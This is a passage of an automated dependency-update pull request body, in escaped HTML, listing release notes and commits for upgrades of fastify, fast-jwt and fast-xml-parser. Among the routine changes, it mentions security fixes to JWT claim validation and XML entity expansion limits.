href=\"https://redirect.github.com/fastify/fastify/pull/6442\"\u003efastify/fastify#6442\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.7.1...v5.7.2\"\u003ehttps://github.com/fastify/fastify/compare/v5.7.1...v5.7.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.7.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore: Bump actions/checkout from 5 to 6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6434\"\u003efastify/fastify#6434\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: updated version in the fastify.js by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6446\"\u003efastify/fastify#6446\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify/compare/v5.7.0...v5.7.1\"\u003ehttps://github.com/fastify/fastify/compare/v5.7.0...v5.7.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.7.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs: Improved firebase serverless guide about process remaining stuck by \u003ca href=\"https://github.com/alexandercerutti\"\u003e\u003ccode\u003e@​alexandercerutti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6380\"\u003efastify/fastify#6380\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update migration guide with date-time breaking change by \u003ca href=\"https://github.com/craftsman01\"\u003e\u003ccode\u003e@​craftsman01\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6110\"\u003efastify/fastify#6110\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: remove test file by \u003ca href=\"https://github.com/Eomm\"\u003e\u003ccode\u003e@​Eomm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6384\"\u003efastify/fastify#6384\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: speed up loading with custom compiler by \u003ca href=\"https://github.com/Eomm\"\u003e\u003ccode\u003e@​Eomm\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6383\"\u003efastify/fastify#6383\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: replace all instances of twitter.com with x.com by \u003ca href=\"https://github.com/cseas\"\u003e\u003ccode\u003e@​cseas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify/pull/6355\"\u003efastify/fastify#6355\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/49468eddb7c59e07fb95183afbf03498fccac99e\"\u003e\u003ccode\u003e49468ed\u003c/code\u003e\u003c/a\u003e Bumped v5.7.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/eb11156396f6a5fedaceed0140aed2b7f026be37\"\u003e\u003ccode\u003eeb11156\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/d98ce2a0c030e18d27d93ed000788f95944ed910\"\u003e\u003ccode\u003ed98ce2a\u003c/code\u003e\u003c/a\u003e docs: update vulnerability reporting to use GitHub Security (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6475\"\u003e#6475\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/17172c40506604fd15f8e5f17299b671d4b58686\"\u003e\u003ccode\u003e17172c4\u003c/code\u003e\u003c/a\u003e Ignore agents config files (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6474\"\u003e#6474\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/b48826f07beaa925809c5e347d67a7e2502eb156\"\u003e\u003ccode\u003eb48826f\u003c/code\u003e\u003c/a\u003e docs: update Reply.send() documentation for string serialization (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6466\"\u003e#6466\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/e1e4fe75910c36e1b9ebb87026ca16c053a9c1f2\"\u003e\u003ccode\u003ee1e4fe7\u003c/code\u003e\u003c/a\u003e v5.7.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/32d7b6add39ddf082d92579a58bea7018c5ac821\"\u003e\u003ccode\u003e32d7b6a\u003c/code\u003e\u003c/a\u003e chore: Updated content-type header parsing (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6414\"\u003e#6414\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/f4a6ac1d0321e9f1757c165a2d423ccbefe7c9c9\"\u003e\u003ccode\u003ef4a6ac1\u003c/code\u003e\u003c/a\u003e docs: move querystringParser example under routerOptions (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6463\"\u003e#6463\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/2af83d64b53a0a786141d93edb9ffefac8b6446a\"\u003e\u003ccode\u003e2af83d6\u003c/code\u003e\u003c/a\u003e fix: Fix MIT Licence file to conform to standard (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6464\"\u003e#6464\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify/commit/5c14e05670c80455b99286ee0b6eac05eabec831\"\u003e\u003ccode\u003e5c14e05\u003c/code\u003e\u003c/a\u003e chore: update sponsor link (\u003ca href=\"https://redirect.github.com/fastify/fastify/issues/6460\"\u003e#6460\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify/compare/v4.29.1...v5.7.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-jwt` from 4.0.5 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.2 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/564\"\u003enearform/fast-jwt#564\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/565\"\u003enearform/fast-jwt#565\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/567\"\u003enearform/fast-jwt#567\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: import crypto once by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/568\"\u003enearform/fast-jwt#568\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: migrate to OIDC publishing for npm releases by \u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it by \u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zibs\"\u003e\u003ccode\u003e@​zibs\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/569\"\u003enearform/fast-jwt#569\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/wopian\"\u003e\u003ccode\u003e@​wopian\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/573\"\u003enearform/fast-jwt#573\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.2...v6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/986a77a7d59964ad6eebe9de5681d9134cc435b4\"\u003e\u003ccode\u003e986a77a\u003c/code\u003e\u003c/a\u003e Release v6.1.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/574\"\u003e#574\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e8429c6e66597d471f05894e447862210d2f3129\"\u003e\u003ccode\u003ee8429c6\u003c/code\u003e\u003c/a\u003e feat: expose TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/315d44d29b5dd56a9e406f9c49a39cf864ad32ba\"\u003e\u003ccode\u003e315d44d\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.32 to 24.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/565\"\u003e#565\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/3683e00d7227d3dbc44c4f96fffd4c4a0195e5b2\"\u003e\u003ccode\u003e3683e00\u003c/code\u003e\u003c/a\u003e Release v6.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/564\"\u003e#564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fast-xml-parser` from 5.3.4 to 5.3.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/releases\"\u003efast-xml-parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eEntity security and performance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImprove security and performance of entity processing\n\u003cul\u003e\n\u003cli\u003enew options \u003ccode\u003emaxEntitySize\u003c/code\u003e, \u003ccode\u003emaxExpansionDepth\u003c/code\u003e, \u003ccode\u003emaxTotalExpansions\u003c/code\u003e, \u003ccode\u003emaxExpandedLength\u003c/code\u003e, \u003ccode\u003eallowedTags\u003c/code\u003e,\u003ccode\u003etagFilter\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efast return when no edtity is present\u003c/li\u003e\n\u003cli\u003eimprovement replacement logic to reduce number of calls\u003c/li\u003e\n\u003cli\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.5...v5.3.6\"\u003ehttps://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.5...v5.3.6\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.3.5\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd missing exports to fxp commonjs types by \u003ca href=\"https://github.com/jeremymeng\"\u003e\u003ccode\u003e@​jeremymeng\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/pull/782\"\u003eNaturalIntelligence/fast-xml-parser#782\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Escape regex char in entity name\u003c/li\u003e\n\u003cli\u003eupdate strnum to 2.1.2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jeremymeng\"\u003e\u003ccode\u003e@​jeremymeng\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/pull/782\"\u003eNaturalIntelligence/fast-xml-parser#782\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.4...v5.3.5\"\u003ehttps://github.com/NaturalIntelligence/fast-xml-parser/compare/v5.3.4...v5.3.5\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/blob/master/CHANGELOG.md\"\u003efast-xml-parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003c!-- raw HTML omitted --\u003eNote: If you find missing information about particular minor version, that version must have been changed without any functional change in this library.\u003c!-- raw HTML omitted --\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.6 / 2026-02-14\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImprove security and performance of entity processing\n\u003cul\u003e\n\u003cli\u003enew options \u003ccode\u003emaxEntitySize\u003c/code\u003e, \u003ccode\u003emaxExpansionDepth\u003c/code\u003e, \u003ccode\u003emaxTotalExpansions\u003c/code\u003e, \u003ccode\u003emaxExpandedLength\u003c/code\u003e, \u003ccode\u003eallowedTags\u003c/code\u003e,\u003ccode\u003etagFilter\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003efast return when no edtity is present\u003c/li\u003e\n\u003cli\u003eimprovement replacement logic to reduce number of calls\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.5 / 2026-02-08\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix: Escape regex char in entity name\u003c/li\u003e\n\u003cli\u003eupdate strnum to 2.1.2\u003c/li\u003e\n\u003cli\u003eadd missing exports in CJS typings\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.4 / 2026-01-30\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix: handle HTML numeric and hex entities when out of range\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.3 / 2025-12-12\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix \u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/775\"\u003e#775\u003c/a\u003e: transformTagName with allowBooleanAttributes adds an unnecessary attribute\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.2 / 2025-11-14\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix for import statement for v6\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.1 / 2025-11-03\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvement for stopNodes (By \u003ca href=\"https://github.com/macieklamberski\"\u003eMaciek Lamberski\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.3.0 / 2025-10-03\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUse \u003ccode\u003eUint8Array\u003c/code\u003e in place of \u003ccode\u003eBuffer\u003c/code\u003e in Parser\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.5 / 2025-06-08\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eInform user to use \u003ca href=\"https://github.com/NaturalIntelligence/fxp-cli\"\u003efxp-cli\u003c/a\u003e instead of in-built CLI feature\u003c/li\u003e\n\u003cli\u003eExport typings  for direct use\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.4 / 2025-06-06\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix (\u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/747\"\u003e#747\u003c/a\u003e): fix EMPTY and ANY with ELEMENT in DOCTYPE\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.3 / 2025-05-11\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix (\u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/747\"\u003e#747\u003c/a\u003e): support EMPTY and ANY with ELEMENT in DOCTYPE\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.2 / 2025-05-05\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix (\u003ca href=\"https://redirect.github.com/NaturalIntelligence/fast-xml-parser/issues/746\"\u003e#746\u003c/a\u003e): update strnum to fix parsing issues related to enotations\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.1 / 2025-04-22\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003efix: read DOCTYPE entity value correctly\u003c/li\u003e\n\u003cli\u003eread DOCTYPE NOTATION, ELEMENT exp but not using read values\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e5.2.0 / 2025-04-03\u003c/strong\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/ecb2ca118ad3d6c62f2cc90416b58da24db5d18b\"\u003e\u003ccode\u003eecb2ca1\u003c/code\u003e\u003c/a\u003e update release info\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/910dae5be2de2955e968558fadf6e8f74f117a77\"\u003e\u003ccode\u003e910dae5\u003c/code\u003e\u003c/a\u003e fix entities performance \u0026amp; security issues\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/fe9a85270122036ae22637167ce38a5f71b73a5f\"\u003e\u003ccode\u003efe9a852\u003c/code\u003e\u003c/a\u003e update strnum and release detail\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e\"\u003e\u003ccode\u003e943ef0e\u003c/code\u003e\u003c/a\u003e fix: Escape regex char in entity name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb0dc15a2bd6aa3b96bb1e69\"\u003e\u003ccode\u003eddcd0ac\u003c/code\u003e\u003c/a\u003e 